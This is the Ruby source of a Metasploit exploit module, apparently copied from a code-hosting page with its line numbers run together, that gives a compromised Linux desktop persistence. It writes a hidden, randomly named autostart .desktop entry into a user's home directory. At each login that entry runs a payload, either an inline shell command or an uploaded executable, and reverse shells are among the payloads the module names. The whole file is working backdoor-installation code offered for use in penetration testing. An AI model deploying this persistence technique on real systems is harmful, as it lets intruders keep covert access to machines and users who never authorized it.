Path: blob/master/modules/exploits/linux/persistence/autostart.rb
21839 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::EXE # for generate_payload_exe11include Msf::Exploit::FileDropper12include Msf::Post::Linux::User13include Msf::Exploit::Local::Persistence14prepend Msf::Exploit::Remote::AutoCheck15include Msf::Exploit::Deprecated16moved_from 'exploits/linux/local/autostart_persistence'1718def initialize(info = {})19super(20update_info(21info,22'Name' => 'Autostart Desktop Item Persistence',23'Description' => %q{24This module will create an autostart .desktop entry to execute a payload.25The payload will be executed when the users logs in.26Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3.27The following payloads were used in testing:28- cmd/unix/reverse_netcat29- linux/x64/meterpreter/reverse_tcp30- cmd/linux/http/x64/meterpreter/reverse_tcp31},32'License' => MSF_LICENSE,33'Author' => [ 'Eliott Teissonniere' ],34'Platform' => [ 'unix', 'linux' ],35'Arch' => [36ARCH_CMD,37ARCH_X86,38ARCH_X64,39ARCH_ARMLE,40ARCH_AARCH64,41ARCH_PPC,42ARCH_MIPSLE,43ARCH_MIPSBE44],45'Payload' => {46'BadChars' => '#%\n"'47},48'SessionTypes' => [ 'shell', 'meterpreter' ],49'DisclosureDate' => '2006-02-13', # Date of the 0.5 doc for autostart50'Targets' => [['Automatic', {}]],51'DefaultTarget' => 0,52'References' => [53['ATT&CK', Mitre::Attack::Technique::T1547_013_XDG_AUTOSTART_ENTRIES],54['URL', 'https://specifications.freedesktop.org/autostart-spec/latest/'],55],56'Notes' => {57'Stability' => [CRASH_SAFE],58'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],59'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]60}61)62)6364register_options([65OptString.new('BACKDOOR_NAME', [false, 'Name of autostart entry' ]),66OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),67OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),68])69end7071def check72print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')73# https://unix.stackexchange.com/a/23775074return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')7576CheckCode::Detected('Xorg is installed, possible desktop install.')77end7879def target_user80return datastore['USER'] unless datastore['USER'].blank?8182whoami83end8485def install_persistence86print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp') && payload.arch.first != 'cmd'87user = target_user88home = get_home_dir(user)89vprint_status('Making sure the autostart directory exists')90cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists9192name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)93path = "#{home}/.config/autostart/#{name}.desktop"9495print_status("Uploading autostart file #{path}")9697autostart_stub = [98'[Desktop Entry]',99'Type=Application',100"Name=#{name}",101'NoDisplay=true',102'Terminal=false'103]104105if payload.arch.first == 'cmd'106write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))107else108payload_path = writable_dir109payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"110payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)111payload_path << payload_name112print_status("Uploading payload file to #{payload_path}")113upload_and_chmodx payload_path, generate_payload_exe114write_file(path, (autostart_stub + ["Exec=\"#{payload_path}\""]).join("\n"))115@clean_up_rc << "rm #{payload_path}\n"116end117118if whoami != user119cmd_exec("chown #{user}:#{user} #{path}")120unless payload.arch.first == 'cmd'121cmd_exec("chown #{user}:#{user} #{payload_path}")122end123end124125print_good("Backdoor will run on next login by #{user}")126127@clean_up_rc << "rm #{path}\n"128end129end130131132